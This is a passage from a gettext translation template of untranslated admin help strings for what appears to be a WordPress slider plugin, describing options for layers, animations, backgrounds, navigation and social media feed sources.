msgid "Activate mouse hover styles/transitions" msgstr "" #: admin/includes/help.class.php:57 msgid "Activate Responsive Viewports" msgstr "" #: admin/includes/help.class.php:352 msgid "Activates a responsive height for the Slider" msgstr "" #: admin/includes/help.class.php:216 msgid "Active/Enable Addons" msgstr "" #: admin/includes/help.class.php:7252 msgid "" "Add a rotateX transform to the currently " "selected Layer" msgstr "" #: admin/includes/help.class.php:7265 msgid "" "Add a rotateY transform to the currently " "selected Layer" msgstr "" #: admin/includes/help.class.php:7278 msgid "" "Add a rotateZ transform to the currently " "selected Layer" msgstr "" #: admin/includes/help.class.php:7306 msgid "" "Add a CSS box-shadow to the currently selected Layer" msgstr "" #: admin/includes/help.class.php:7399 msgid "" "Add a CSS text-shadow to the currently selected Layer" msgstr "" #: admin/includes/help.class.php:9035 msgid "Add a Bezier Curve" msgstr "" #: admin/includes/help.class.php:6956 msgid "Add a border to the Layer's HTML element" msgstr "" #: admin/includes/help.class.php:8805 msgid "Add a continuously looping animation to the Layer" msgstr "" #: admin/includes/help.class.php:2130 msgid "Add a CSS border-radius to the carousel items (px)" msgstr "" #: admin/includes/help.class.php:6558 msgid "" "Add a linebreak after the currently selected Layer. Useful when floats are " "used." msgstr "" #: admin/includes/help.class.php:6551 msgid "" "Add a linebreak before the currently selected Layer. Useful when floats are " "used." msgstr "" #: admin/includes/help.class.php:5494 msgid "Add a link to the entire Slide area" msgstr "" #: admin/includes/help.class.php:7928 msgid "Add a mask to the Layer which is useful for wipe/reveal type animations" msgstr "" #: admin/includes/help.class.php:5079 admin/includes/help.class.php:6180 msgid "Add a mesh-style overlay to the video for extra styling" msgstr "" #: admin/includes/help.class.php:3005 msgid "" "Add a progress bar to the Slider to display a visual representation of each " "Slide's timeline" msgstr "" #: admin/includes/help.class.php:160 msgid "Add a variety of content to your Slides" msgstr "" #: admin/includes/help.class.php:633 msgid "Add an mesh-style overlay to the Slider" msgstr "" #: admin/includes/help.class.php:2984 msgid "" "Add an optional class name to the page's body element when the Module is " "loaded as a Modal" msgstr "" #: admin/includes/help.class.php:10198 msgid "Add an optional delay before the Action occurs (in milliseconds)" msgstr "" #: admin/includes/help.class.php:1542 msgid "Add an optional delay before the Slider officially loads" msgstr "" #: admin/includes/help.class.php:1510 admin/includes/help.class.php:1518 #: admin/includes/help.class.php:1526 msgid "" "Add an optional ID for the Slider. Will be applied to the Slider's outer " "HTML wrapper element" msgstr "" #: admin/includes/help.class.php:5467 msgid "" "Add an optional ID to the Slide to target the Slide with custom CSS or " "JavaScript" msgstr "" #: admin/includes/help.class.php:6673 msgid "Add an text underline to the currently selected Layer's text" msgstr "" #: admin/includes/help.class.php:10831 msgid "" "Add class names to the Layer to target it with custom CSS/JavaScript " "(separate multiple class names with spaces)" msgstr "" #: admin/includes/help.class.php:10896 msgid "" "Add class names to the Layer's outer-most wrapper to target it with custom " "CSS/JavaScript (separate multiple class names with spaces)" msgstr "" #: admin/includes/help.class.php:7508 msgid "Add creative edges and corners to the left side of your content" msgstr "" #: admin/includes/help.class.php:7540 msgid "Add creative edges and corners to the right side of your content" msgstr "" #: admin/includes/help.class.php:7495 msgid "Add creative edges and corners to your content" msgstr "" #: admin/includes/help.class.php:649 msgid "Add extra spacing around the Slider" msgstr "" #: admin/includes/help.class.php:6660 msgid "Add italics to the currently selected Layer's text" msgstr "" #: admin/includes/help.class.php:6555 msgid "Add Linebreak After" msgstr "" #: admin/includes/help.class.php:6548 msgid "Add Linebreak Before" msgstr "" #: admin/includes/help.class.php:8802 msgid "Add Loop Animation" msgstr "" #: admin/includes/help.class.php:157 msgid "Add New Layer" msgstr "" #: admin/includes/help.class.php:107 msgid "Add New Slide" msgstr "" #: admin/includes/help.class.php:5455 msgid "" "Add optional class names to the Slide to target the Slide with custom CSS or " "JavaScript" msgstr "" #: admin/includes/help.class.php:2920 msgid "Add your own custom CSS to the Slider" msgstr "" #: admin/includes/help.class.php:2928 msgid "Add your own custom JavaScript to the Slider" msgstr "" #: admin/includes/help.class.php:661 msgid "Add your own custom text/images/video to the Slider" msgstr "" #: admin/includes/help.class.php:110 msgid "add/duplicate/delete Slides" msgstr "" #: admin/includes/help.class.php:168 msgid "Add/Edit content that's meant to always be visible" msgstr "" #: admin/includes/help.class.php:206 msgid "Add/Remove Links" msgstr "" #: admin/includes/help.class.php:209 msgid "" "Add/Remove links to additional slides, other web pages/posts or external " "websites" msgstr "" #: admin/includes/help.class.php:227 msgid "" "AddOn Settings will be located in the Slider, Slide or Layer settings " "depending on the AddOns functionality" msgstr "" #: admin/includes/help.class.php:9038 msgid "" "Adds a middle point to the movement between the starting and ending points" msgstr "" #: admin/includes/help.class.php:3018 msgid "Adjust the color for the progress bar" msgstr "" #: admin/includes/help.class.php:9722 msgid "Adjust the Layer's background color on mouse hover" msgstr "" #: admin/includes/help.class.php:7291 msgid "Adjust the opacity/transparency for the currently selected Layer" msgstr "" #: admin/includes/help.class.php:3665 msgid "Adjust the size colors and other styles for the bullets" msgstr "" #: admin/includes/help.class.php:4146 msgid "Adjust the size colors and other styles for the tabs" msgstr "" #: admin/includes/help.class.php:100 msgid "Adjust the size of text and images for each reponsive viewport" msgstr "" #: admin/includes/help.class.php:1324 msgid "Album" msgstr "" #: admin/includes/help.class.php:3096 admin/includes/help.class.php:3411 #: admin/includes/help.class.php:3744 admin/includes/help.class.php:4225 #: admin/includes/help.class.php:7179 msgid "Align By Slider/Content" msgstr "" #: admin/includes/help.class.php:7091 msgid "Align the Layer horizontally to the Slider content or the entire Slider" msgstr "" #: admin/includes/help.class.php:7104 msgid "Align the Layer vertically to the Slider content or the entire Slider" msgstr "" #: admin/includes/help.class.php:386 msgid "" "Align the Slider to the left, center or right inside its parent container" msgstr "" #: admin/includes/help.class.php:3112 admin/includes/help.class.php:3427 #: admin/includes/help.class.php:3776 admin/includes/help.class.php:4257 msgid "Alignment" msgstr "" #: admin/includes/help.class.php:1829 msgid "" "Allocate space on the page for the Slider to prevent page content jumps when " "the Slider loads" msgstr "" #: admin/includes/help.class.php:368 msgid "Allow for content to be visible outside the Slider's bounding box" msgstr "" #: admin/includes/help.class.php:6272 msgid "Allow Fullscreen" msgstr "" #: admin/includes/help.class.php:6275 msgid "Allow the video to be taken fullscreen by the user" msgstr "" #: admin/includes/help.class.php:4907 msgid "Alt Attribute" msgstr "" #: admin/includes/help.class.php:1984 msgid "Alternate First Slide" msgstr "" #: admin/includes/help.class.php:2862 msgid "Alternative Image" msgstr "" #: admin/includes/help.class.php:2870 msgid "Alternative Image URL" msgstr "" #: admin/includes/help.class.php:5131 msgid "Always play the video from the beginning each time the Slide is shown" msgstr "" #: admin/includes/help.class.php:6301 msgid "" "Always play the video/audio from the beginning each time the Slide is shown" msgstr "" #: admin/includes/help.class.php:7629 msgid "" "An additional animation to add to the Layer after its already animated into " "view" msgstr "" #: admin/includes/help.class.php:4816 msgid "An image url to be used as the Slide's main background image" msgstr "" #: admin/includes/help.class.php:5338 msgid "An Instagram-type filter to apply to the Slide's main background image" msgstr "" #: admin/includes/help.class.php:5324 msgid "An optional rotation to apply to the Slide's transition" msgstr "" #: admin/includes/help.class.php:7626 msgid "Animate Again To..." msgstr "" #: admin/includes/help.class.php:8138 msgid "Animate Background Color" msgstr "" #: admin/includes/help.class.php:8174 msgid "Animate characters, words or lines of text" msgstr "" #: admin/includes/help.class.php:2627 msgid "Animate Layers on Scroll" msgstr "" #: admin/includes/help.class.php:8107 msgid "Animate Text Color" msgstr "" #: admin/includes/help.class.php:8486 msgid "Animate the Char animation's blur, grayscale or brightness filter" msgstr "" #: admin/includes/help.class.php:8786 msgid "" "Animate the Layer back to its starting values in the loop once the last " "frame is reached. Useful for creating a more natural looping visual." msgstr "" #: admin/includes/help.class.php:8951 msgid "" "Animate the Layer to this 'x' (left) position. Accepts positive and " "negative numbers." msgstr "" #: admin/includes/help.class.php:8985 msgid "" "Animate the Layer to this 'y' (top) position. Accepts positive and negative " "numbers." msgstr "" #: admin/includes/help.class.php:9019 msgid "" "Animate the Layer's CSS " "translateZ property to this value. This adds/removes 3D depth to the " "Layer" msgstr "" #: admin/includes/help.class.php:8141 msgid "Animate the Layer's background color" msgstr "" #: admin/includes/help.class.php:8043 msgid "Animate the Layer's blur, grayscale or brightness filter" msgstr "" #: admin/includes/help.class.php:2630 msgid "" "Animate the Layer's by default on Scroll (can then be turned off per Layer " "in the Layer settings)" msgstr "" #: admin/includes/help.class.php:8110 msgid "Animate the Layer's text color" msgstr "" #: admin/includes/help.class.php:8634 msgid "Animate the line animation's blur, grayscale or brightness filter" msgstr "" #: admin/includes/help.class.php:8560 msgid "Animate the word animation's blur, grayscale or brightness filter" msgstr "" #: admin/includes/help.class.php:8783 msgid "Animate to Start" msgstr "" #: admin/includes/help.class.php:5285 msgid "Animation 'In' Easing" msgstr "" #: admin/includes/help.class.php:5297 msgid "Animation 'Out' Easing" msgstr "" #: admin/includes/help.class.php:8831 msgid "Animation Duration" msgstr "" #: admin/includes/help.class.php:2601 admin/includes/help.class.php:7692 #: admin/includes/help.class.php:8218 admin/includes/help.class.php:8847 msgid "Animation Easing" msgstr "" #: admin/includes/help.class.php:7666 msgid "Animation Name" msgstr "" #: admin/includes/help.class.php:2614 admin/includes/help.class.php:7679 msgid "Animation Speed" msgstr "" #: admin/includes/help.class.php:10508 msgid "Animation Timing" msgstr "" #: admin/includes/help.class.php:979 admin/includes/help.class.php:1098 #: admin/includes/help.class.php:1152 admin/includes/help.class.php:1284 #: admin/includes/help.class.php:1381 admin/includes/help.class.php:1465 msgid "API Cache" msgstr "" #: admin/includes/help.class.php:992 admin/includes/help.class.php:1394 msgid "API Key" msgstr "" #: admin/includes/help.class.php:1006 admin/includes/help.class.php:1111 msgid "API Source" msgstr "" #: admin/includes/help.class.php:5926 msgid "" "Aply a grayscale filter to Layers as the page scrolls into and out of view" msgstr "" #: admin/includes/help.class.php:1340 msgid "App ID" msgstr "" #: admin/includes/help.class.php:1353 msgid "App Secret" msgstr "" #: admin/includes/help.class.php:2547 msgid "Applies a translateZ to the 3D elements to help avoid overlapping" msgstr "" #: admin/includes/help.class.php:2269 msgid "Apply a 3D rotation to the non-active items" msgstr "" #: admin/includes/help.class.php:2667 msgid "" "Apply a black and white filter to the Slider when it scrolls into and out of " "view" msgstr "" #: admin/includes/help.class.php:2681 msgid "Apply a blur filter to the Slider when it scrolls into and out of view" msgstr "" #: admin/includes/help.class.php:402 msgid "Apply a bottom margin to the Slider (px)" msgstr "" #: admin/includes/help.class.php:2483 msgid "Apply a box-shadow to the 3D element to enhance the effect" msgstr "" #: admin/includes/help.class.php:10128 msgid "" "Apply a mask to the Layer as the Parallax Effect takes place. When applied, " "the content will never bleed outside this mask." msgstr "" #: admin/includes/help.class.php:394 msgid "Apply a top margin to the Slider (px)" msgstr "" #: admin/includes/help.class.php:7976 msgid "" "Apply and animate a CSS clip-path to the Layer. Useful for creating 'wipe' " "animations" msgstr "" #: admin/includes/help.class.php:2239 msgid "Apply opacity to the non-activate Slides" msgstr "" #: admin/includes/help.class.php:7316 msgid "Apply Shadow to" msgstr "" #: admin/includes/help.class.php:2646 msgid "Apply special effects to your content when the page is scrolled" msgstr "" #: admin/includes/help.class.php:2711 msgid "Apply the effect(s) to all Layers" msgstr "" #: admin/includes/help.class.php:2724 msgid "Apply the effect(s) to all Parallax Layers" msgstr "" #: admin/includes/help.class.php:2737 msgid "Apply the effect(s) to the Slide's main background" msgstr "" #: admin/includes/help.class.php:2750 msgid "Apply the effect(s) to the Slide's Static/Global Layers" msgstr "" #: admin/includes/help.class.php:2763 msgid "Apply the effect(s) to the Slide's Static/Global Parallax Layers" msgstr "" #: admin/includes/help.class.php:2778 msgid "" "Apply the effect(s) when the page is scrolled from the top, bottom, or both " "directions" msgstr "" #: admin/includes/help.class.php:2252 msgid "Apply varying opacity to the non-activate Slides in staggered order" msgstr "" #: admin/includes/help.class.php:2298 msgid "Apply varying rotations to the non-activate Slides in staggered order" msgstr "" #: admin/includes/help.class.php:2344 msgid "Apply varying scale/zooms to the non-activate Slides in staggered order" msgstr "" #: admin/includes/help.class.php:1813 msgid "Area %" msgstr "" #: admin/includes/help.class.php:3160 msgid "Arrows Animation" msgstr "" #: admin/includes/help.class.php:3194 msgid "Arrows Animation Speed" msgstr "" #: admin/includes/help.class.php:3210 msgid "Arrows Show Delay" msgstr "" #: admin/includes/help.class.php:3079 msgid "Arrows Type/Style" msgstr "" #: admin/includes/help.class.php:5063 admin/includes/help.class.php:6138 msgid "Aspect Ratio" msgstr "" #: admin/includes/help.class.php:291 msgid "Auto" msgstr "" #: admin/includes/help.class.php:9052 msgid "Auto Rotate Bezier" msgstr "" #: admin/includes/help.class.php:1842 msgid "Auto Rotate Slideshow" msgstr "" #: admin/includes/help.class.php:3230 msgid "" "Auto-hide the arrows after a set amount of time (will be shown again when " "the user hovers/taps the Slider)" msgstr "" #: admin/includes/help.class.php:3545 msgid "" "Auto-hide the bullets after a set amount of time (will be shown again when " "the user hovers/taps the Slider)" msgstr "" #: admin/includes/help.class.php:4026 msgid "" "Auto-hide the tabs after a set amount of time (will be shown again when the " "user hovers/taps the Slider)" msgstr "" #: admin/includes/help.class.php:4507 msgid "" "Auto-hide the thumbs after a set amount of time (will be shown again when " "the user hovers/taps the Slider)" msgstr "" #: admin/includes/help.class.php:5144 admin/includes/help.class.php:6374 msgid "Auto-mute the video each time the Slide is shown" msgstr "" #: admin/includes/help.class.php:1625 admin/includes/help.class.php:10709 msgid "" "Automatically adjust the positioning for Layers for each responsive device " "viewport" msgstr "" #: admin/includes/help.class.php:1617 admin/includes/help.class.php:10696 msgid "Automatically resize Layers for each responsive device viewport" msgstr "" #: admin/includes/help.class.php:10670 msgid "" "Automatically resize/reposition all Layers for each device viewport inside " "the editor" msgstr "" #: admin/includes/help.class.php:1609 admin/includes/help.class.php:10657 msgid "" "Automatically resize/reposition new Layers for each device viewport inside " "the editor" msgstr "" #: admin/includes/help.class.php:9055 msgid "" "Automatically rotate the Layer according to its position along the Bezier " "path" msgstr "" #: admin/includes/help.class.php:6151 msgid "Autoplay" msgstr "" #: admin/includes/help.class.php:6778 msgid "Background Color" msgstr "" #: admin/includes/help.class.php:8151 msgid "Background Color Value" msgstr "" #: admin/includes/help.class.php:2496 msgid "Background Enabled" msgstr "" #: admin/includes/help.class.php:4853 msgid "Background Fit" msgstr "" #: admin/includes/help.class.php:6791 msgid "Background Image" msgstr "" #: admin/includes/help.class.php:5335 msgid "Background Image Filter" msgstr "" #: admin/includes/help.class.php:2452 msgid "Background Image Speed" msgstr "" #: admin/includes/help.class.php:4879 admin/includes/help.class.php:5595 msgid "Background Position" msgstr "" #: admin/includes/help.class.php:4866 msgid "Background Repeat" msgstr "" #: admin/includes/help.class.php:9070 msgid "Bezier Curve Angle" msgstr "" #: admin/includes/help.class.php:9088 msgid "Bezier Curve Tension" msgstr "" #: admin/includes/help.class.php:9124 msgid "Bezier End Point X" msgstr "" #: admin/includes/help.class.php:9160 msgid "Bezier End Point Y" msgstr "" #: admin/includes/help.class.php:9196 msgid "Bezier End Point Z" msgstr "" #: admin/includes/help.class.php:9106 msgid "Bezier Start Point X" msgstr "" #: admin/includes/help.class.php:9142 msgid "Bezier Start Point Y" msgstr "" #: admin/includes/help.class.php:9178 msgid "Bezier Start Point Z" msgstr "" #: admin/includes/help.class.php:2560 msgid "BG 3D Depth" msgstr "" #: admin/includes/help.class.php:6817 msgid "BG Image Fit" msgstr "" #: admin/includes/help.class.php:6804 msgid "BG Image Position" msgstr "" #: admin/includes/help.class.php:6830 msgid "BG Image Repeat" msgstr "" #: admin/includes/help.class.php:580 msgid "BG Position" msgstr "" #: admin/includes/help.class.php:606 msgid "BG Repeat" msgstr "" #: admin/includes/help.class.php:2814 msgid "BG Strength" msgstr "" #: admin/includes/help.class.php:7463 msgid "Blend Mode Filter" msgstr "" #: admin/includes/help.class.php:2678 msgid "Blur" msgstr "" #: admin/includes/help.class.php:5915 msgid "Blur Effect" msgstr "" #: admin/includes/help.class.php:1775 admin/includes/help.class.php:5760 #: admin/includes/help.class.php:9561 msgid "Blur End" msgstr "" #: admin/includes/help.class.php:8053 admin/includes/help.class.php:8500 #: admin/includes/help.class.php:8574 admin/includes/help.class.php:8648 #: admin/includes/help.class.php:10070 msgid "Blur Filter" msgstr "" #: admin/includes/help.class.php:5918 msgid "Blur Layers in and out as the page scrolls into and out of view" msgstr "" #: admin/includes/help.class.php:7355 admin/includes/help.class.php:7435 msgid "Blur Radius" msgstr "" #: admin/includes/help.class.php:1764 admin/includes/help.class.php:5744 #: admin/includes/help.class.php:9544 msgid "Blur Start" msgstr "" #: admin/includes/help.class.php:2691 msgid "Blur Value" msgstr "" #: admin/includes/help.class.php:2981 msgid "Body Class" msgstr "" #: admin/includes/help.class.php:7005 msgid "Border Bottom Size" msgstr "" #: admin/includes/help.class.php:9987 msgid "Border Bottom Width" msgstr "" #: admin/includes/help.class.php:6953 admin/includes/help.class.php:9934 msgid "Border Color" msgstr "" #: admin/includes/help.class.php:7018 msgid "Border Left Size" msgstr "" #: admin/includes/help.class.php:10000 msgid "Border Left Width" msgstr "" #: admin/includes/help.class.php:2127 msgid "Border Radius" msgstr "" #: admin/includes/help.class.php:7059 admin/includes/help.class.php:10041 msgid "Border Radius Bottom Left" msgstr "" #: admin/includes/help.class.php:7072 admin/includes/help.class.php:10054 msgid "Border Radius Bottom Right" msgstr "" #: admin/includes/help.class.php:7033 admin/includes/help.class.php:10015 msgid "Border Radius Top Left" msgstr "" #: admin/includes/help.class.php:7046 admin/includes/help.class.php:10028 msgid "Border Radius Top Right" msgstr "" #: admin/includes/help.class.php:6992 msgid "Border Right Size" msgstr "" #: admin/includes/help.class.php:9974 msgid "Border Right Width" msgstr "" #: admin/includes/help.class.php:6966 admin/includes/help.class.php:9947 msgid "Border Style" msgstr "" #: admin/includes/help.class.php:6979 msgid "Border Top Size" msgstr "" #: admin/includes/help.class.php:9961 msgid "Border Top Width" msgstr "" #: admin/includes/help.class.php:6471 msgid "Break At" msgstr "" #: admin/includes/help.class.php:8087 admin/includes/help.class.php:8536 #: admin/includes/help.class.php:8610 admin/includes/help.class.php:8684 #: admin/includes/help.class.php:10083 msgid "Brightness" msgstr "" #: admin/includes/help.class.php:9629 msgid "Brightness End" msgstr "" #: admin/includes/help.class.php:9612 msgid "Brightness Start" msgstr "" #: admin/includes/help.class.php:3493 msgid "Bullets Animation" msgstr "" #: admin/includes/help.class.php:3509 msgid "Bullets Animation Speed" msgstr "" #: admin/includes/help.class.php:3525 msgid "Bullets Show Delay" msgstr "" #: admin/includes/help.class.php:3362 msgid "Bullets Type/Style" msgstr "" #: admin/includes/help.class.php:1287 msgid "Cache the Facebook API results for faster loading" msgstr "" #: admin/includes/help.class.php:982 msgid "Cache the Flickr API results for faster loading" msgstr "" #: admin/includes/help.class.php:1101 msgid "Cache the Instagram API results for faster loading" msgstr "" #: admin/includes/help.class.php:1155 msgid "Cache the Twitter API results for faster loading" msgstr "" #: admin/includes/help.class.php:1468 msgid "Cache the Vimeo API results for faster loading" msgstr "" #: admin/includes/help.class.php:1384 msgid "Cache the YouTube API results for faster loading" msgstr "" #: admin/includes/help.class.php:10283 msgid "Call an external JavaScript function on user-interaction" msgstr "" #: admin/includes/help.class.php:10280 msgid "Call Back Function" msgstr "" #: admin/includes/help.class.php:2886 msgid "" "Call jQuery.noConflict() to help avoid conflicts with other themes/plugins" msgstr "" #: admin/includes/help.class.php:281 msgid "Carousel" msgstr "" #: admin/includes/help.class.php:115 msgid "Change Slide Order" msgstr "" #: admin/includes/help.class.php:2058 msgid "" "Change slides when the user navigates to a new window or tab and then " "returns to the page" msgstr "" #: admin/includes/help.class.php:9775 msgid "Change the Layer's transparency on mouse hover" msgstr "" #: admin/includes/help.class.php:118 msgid "Change the order in which the Slides appear" msgstr "" #: admin/includes/help.class.php:10372 msgid "Change to the next or previous Slide on user-interaction" msgstr "" #: admin/includes/help.class.php:5118 msgid "Change to the next Slide when the video ends" msgstr "" #: admin/includes/help.class.php:6288 msgid "Change to the next Slide when the video/audio ends" msgstr "" #: admin/includes/help.class.php:1407 msgid "Channel ID" msgstr "" #: admin/includes/help.class.php:2848 msgid "" "Choose 'All' to LazyLoad all images in the Slider when the Slider first " "lpads, 'Smart' to only LazyLoad the prev/next Slide's images, and 'Single' " "to only LazyLoad the current Slide's images." msgstr "" #: admin/includes/help.class.php:10265 msgid "" "Choose 'No Follow' to discourage search engines from indexing index the link" msgstr "" #: admin/includes/help.class.php:9696 msgid "" "Choose 'none' to disable user-interaction. Useful for enabling clicks on " "content placed beneath the Layer." msgstr "" #: admin/includes/help.class.php:744 msgid "" "Choose 'Post' to pull in a range of posts, 'Specific Post' to pull in posts " "by ID, or 'Current Post' to populate the Slider with the current post's " "content" msgstr "" #: admin/includes/help.class.php:7989 msgid "" "Choose 'Rectangle' or 'Circle' for traditional wipes from the sides, center " "or corners, and 'Inverts' for curtain-type reveals" msgstr "" #: admin/includes/help.class.php:3099 admin/includes/help.class.php:3414 #: admin/includes/help.class.php:3747 admin/includes/help.class.php:4228 #: admin/includes/help.class.php:7182 msgid "" "Choose 'Slider' to align based on the Slider's full display, or 'Content' to " "align against the Slider's grid area" msgstr "" #: admin/includes/help.class.php:8708 msgid "Choose a predefined special effect to use as the Layer's animation" msgstr "" #: admin/includes/help.class.php:3082 msgid "Choose a predefined style for the Arrows navigation" msgstr "" #: admin/includes/help.class.php:3365 msgid "Choose a predefined style for the Bullets navigation" msgstr "" #: admin/includes/help.class.php:3714 msgid "Choose a predefined style for the Tabs navigation" msgstr "" #: admin/includes/help.class.php:4195 msgid "Choose a predefined style for the Thumbnails navigation" msgstr "" #: admin/includes/help.class.php:5507 msgid "" "Choose a traditional link to the Slide to navigate to a new web page or " "another Slide" msgstr "" #: admin/includes/help.class.php:2017 msgid "Choose an alternate transition for the first Slide" msgstr "" #: admin/includes/help.class.php:641 msgid "Choose an optional shadow to add to the Slider" msgstr "" #: admin/includes/help.class.php:1274 msgid "Choose how many Slides should be created from the Facebook source" msgstr "" #: admin/includes/help.class.php:969 msgid "Choose how many Slides should be created from the Flickr source" msgstr "" #: admin/includes/help.class.php:1088 msgid "Choose how many Slides should be created from the Instagram source" msgstr "" #: admin/includes/help.class.php:1142 msgid "Choose how many Slides should be created from the Twitter source" msgstr "" #: admin/includes/help.class.php:1455 msgid "Choose how many Slides should be created from the Vimeo source" msgstr "" #: admin/includes/help.class.php:1371 msgid "Choose how many Slides should be created from the YouTube source" msgstr "" #: admin/includes/help.class.php:5966 msgid "Choose how text should wrap/break onto lines lines" msgstr "" #: admin/includes/help.class.php:2946 msgid "" "Choose how the Module should be horizontally aligned to the page when loaded " "as a Modal" msgstr "" #: admin/includes/help.class.php:2954 msgid "" "Choose how the Module should be vertically aligned to the page when loaded " "as a Modal" msgstr "" #: admin/includes/help.class.php:1550 msgid "Choose if Layers should be user-selectable by default" msgstr "" #: admin/includes/help.class.php:2531 msgid "" "Choose if Slide Layers can bleed outside the Slider's bounding box when " "skewed in 3D space" msgstr "" #: admin/includes/help.class.php:10169 msgid "" "Choose if the Action should occur on user-click, mouse-over or mouse-out" msgstr "" #: admin/includes/help.class.php:5981 msgid "" "Choose if the Image source should be populated by the Slide's social stream " "content" msgstr "" #: admin/includes/help.class.php:10528 msgid "" "Choose if the Layer's animation behavior should reset or not when the Slide " "replays again" msgstr "" #: admin/includes/help.class.php:10231 msgid "" "Choose if the link should be opened in the same window or in a new window" msgstr "" #: admin/includes/help.class.php:2434 msgid "" "Choose if the origin point for the effect should be the Layer's center, or " "based on where the user first hovered their mouse over the element" msgstr "" #: admin/includes/help.class.php:4682 msgid "" "Choose if the page and its contents should be scrolled when swiping " "vertically" msgstr "" #: admin/includes/help.class.php:2426 msgid "" "Choose if the Parallax/3D effects should happen on mouse move, page scroll " "or both" msgstr "" #: admin/includes/help.class.php:3034 msgid "" "Choose if the progress bar should appear at the top or bottom of the Slider" msgstr "" #: admin/includes/help.class.php:2499 msgid "" "Choose if the Slide's main background image should be included for the 3D " "effect" msgstr "" #: admin/includes/help.class.php:2515 msgid "" "Choose if the Slider's main background can bleed outside the Slider's " "bounding box when skewed in 3D space" msgstr "" #: admin/includes/help.class.php:3763 msgid "" "Choose if the tabs should appear inside or outside the Slider's main content " "area" msgstr "" #: admin/includes/help.class.php:4244 msgid "" "Choose if the thumbs should appear inside or outside the Slider's main " "content area" msgstr "" #: admin/includes/help.class.php:6050 msgid "" "Choose if the video should be loaded from YouTube, Vimeo or locally (HTML5)" msgstr "" #: admin/includes/help.class.php:3943 admin/includes/help.class.php:4424 msgid "Choose if the wrapper should be displayed as a block or an inline-block" msgstr "" #: admin/includes/help.class.php:5568 msgid "" "Choose of the Slide link should be placed behind or above the Slide's Layer " "content" msgstr "" #: admin/includes/help.class.php:1327 msgid "Choose the Facebook Album to be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:10511 msgid "" "Choose the Layer's default animation behavior in relation to the selected " "Action" msgstr "" #: admin/includes/help.class.php:854 msgid "" "Choose the maximum number of Posts that should be included in the Slider" msgstr "" #: admin/includes/help.class.php:6461 msgid "" "Choose the number of columns and their colspan for the selected row" msgstr "" #: admin/includes/help.class.php:822 msgid "Choose the order in which the posts should appear in the Slider" msgstr "" #: admin/includes/help.class.php:1437 msgid "Choose the playlist to pull in from the YouTube account" msgstr "" #: admin/includes/help.class.php:5416 msgid "" "Choose the published state of the Slide. Choose 'Unpublished' to work on " "the Slide in a draft status." msgstr "" #: admin/includes/help.class.php:10141 msgid "" "Choose to animate the Layer's animation timeline as the Module scrolls into " "and out of view" msgstr "" #: admin/includes/help.class.php:1424 msgid "Choose to include videos from a YouTube Playlist or Channel" msgstr "" #: admin/includes/help.class.php:1633 admin/includes/help.class.php:10722 msgid "" "Choose to resize the Layer's inner HTML elements if the Layer includes " "custom HTML" msgstr "" #: admin/includes/help.class.php:7169 msgid "" "Choose to set the Layer's width/height as full-width, full-height. " "'Stretch' will be 100% width/height, 'Cover' will maintain aspect ratio." msgstr "" #: admin/includes/help.class.php:4749 msgid "Choose to use left/right keys or up/down keys to change Slides" msgstr "" #: admin/includes/help.class.php:10184 msgid "Choose which Action should occur when the user interacts with the Layer" msgstr "" #: admin/includes/help.class.php:8187 msgid "Choose which direction the chars/words/lines should be animated in" msgstr "" #: admin/includes/help.class.php:8006 msgid "Choose which direction the Clip Path should move to" msgstr "" #: admin/includes/help.class.php:4777 msgid "" "Choose which direction the mouse wheel should be scrolled to change Slides" msgstr "" #: admin/includes/help.class.php:6566 msgid "" "Choose which HTML tag should be used for the Layer. Useful for SEO purposes" msgstr "" #: admin/includes/help.class.php:10494 msgid "Choose which Layer to target for the Layer Action" msgstr "" #: admin/includes/help.class.php:8738 msgid "" "Choose which point in the Layer's timeline it should begin from for the loop " "animation" msgstr "" #: admin/includes/help.class.php:8754 msgid "" "Choose which point in the Layer's timeline it should play to before it " "animates again" msgstr "" #: admin/includes/help.class.php:789 msgid "Choose which Post Categories to include in the Slider" msgstr "" #: admin/includes/help.class.php:773 msgid "Choose which Post Types to include in the Slider" msgstr "" #: admin/includes/help.class.php:1314 msgid "Choose which type of Facebook content should be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:1009 msgid "Choose which type of Flickr content should be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:1114 msgid "Choose which type of Instagram content should be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:757 msgid "Choose which type of posts should be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:1481 msgid "Choose which type of Vimeo content should be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:6474 msgid "Choose which viewport the rows should collapse into single columns" msgstr "" #: admin/includes/help.class.php:1880 msgid "Chose when the Slider's progress should stop/pause" msgstr "" #: admin/includes/help.class.php:8003 msgid "Clip Path Origin" msgstr "" #: admin/includes/help.class.php:7986 msgid "Clip Path Type" msgstr "" #: admin/includes/help.class.php:8020 msgid "Clip Percentage" msgstr "" #: admin/includes/help.class.php:3908 msgid "Color" msgstr "" #: admin/includes/help.class.php:6458 msgid "Column Structure" msgstr "" #: admin/includes/help.class.php:1217 msgid "Consumer Key" msgstr "" #: admin/includes/help.class.php:1230 msgid "Consumer Secret" msgstr "" #: admin/includes/help.class.php:73 msgid "Content Size/Position" msgstr "" #: admin/includes/help.class.php:1866 msgid "" "Continuously loop a Slide's animations when the Slider contains only one " "slide" msgstr "" #: admin/includes/help.class.php:6325 msgid "Controls" msgstr "" #: admin/includes/help.class.php:6541 msgid "CSS Clear" msgstr "" #: admin/includes/help.class.php:6527 msgid "CSS Display" msgstr "" #: admin/includes/help.class.php:6534 msgid "CSS Float" msgstr "" #: admin/includes/help.class.php:3662 admin/includes/help.class.php:4143 msgid "CSS Styling" msgstr "" #: admin/includes/help.class.php:9680 msgid "Cursor Type" msgstr "" #: admin/includes/help.class.php:4920 msgid "Custom Alt Attribute" msgstr "" #: admin/includes/help.class.php:658 msgid "Custom Content" msgstr "" #: admin/includes/help.class.php:2917 msgid "Custom CSS" msgstr "" #: admin/includes/help.class.php:2925 msgid "Custom JavaScript" msgstr "" #: admin/includes/help.class.php:4950 msgid "Custom Title Attribute" msgstr "" #: admin/includes/help.class.php:6750 msgid "Dash-Array" msgstr "" #: admin/includes/help.class.php:6763 msgid "Dash-Array Offset" msgstr "" #: admin/includes/help.class.php:5476 msgid "Data Attributes" msgstr "" #: admin/includes/help.class.php:2907 msgid "Debug Mode" msgstr "" #: admin/includes/help.class.php:2182 msgid "" "Decide how the items should be aligned horizontally inside the Slide " "container" msgstr "" #: admin/includes/help.class.php:2195 msgid "" "Decide how the items should be aligned vertically inside the Slide container" msgstr "" #: 